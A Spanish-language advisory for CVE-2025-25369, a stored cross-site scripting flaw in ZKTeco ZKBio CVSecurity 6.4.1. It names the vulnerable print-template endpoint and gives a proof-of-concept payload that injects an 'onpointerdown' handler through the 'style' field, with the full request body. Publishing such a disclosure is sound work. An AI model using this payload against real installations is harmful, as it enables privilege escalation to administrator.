CVE-2025-25369

CVE-2025-25369: Vulnerabilidad de Cross Site Scripting en ZKTeco ZKBio CVSecurity v.6.4.1

Se descubrió una vulnerabilidad XSS en ZKBio CVSecurity v.6.4.1.
Un atacante podría explotar esta vulnerabilidad con privilegios de Template Editor y escalar sus privilegios a administrador. También se implementó la omisión del WAF integrado. Esto puede provocar el compromiso total del sistema.

• Versiones afectadas: ZKBio CVSecurity <= v.6.4.1
• Corregido en: -

Puntuación CVSS: 4.3 (Baja)
Vector: CVSS:4.3 AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:L

Componente afectado:

• zkbiosecurity/system/remote/BasePrintTemplateRemote.class
• basePrintTemplate.do?savePrintTemplate

Vectores de ataque:

• Inyección de XSS al crear una plantilla imprimible

Payload:

onpointerdown="prompt(8)"

Todos los datos de la solicitud:

[{"printType":""background","width":318,"height":505,"printValue":"/upload/pers/101010101.txt"","direction":"1"},{"cell":"printData.person.pin","leftPoint":"77px","topPoint":"323px","width":117,"height":20,"printType":"text","style":"draggable" onpointerdown="prompt(8)" ui-draggable","color":"0, 0, 0","fontSize":"18px","align":"start","fontFamily":""Arial"","printValue":"pers_person_pin","direction":"1"}]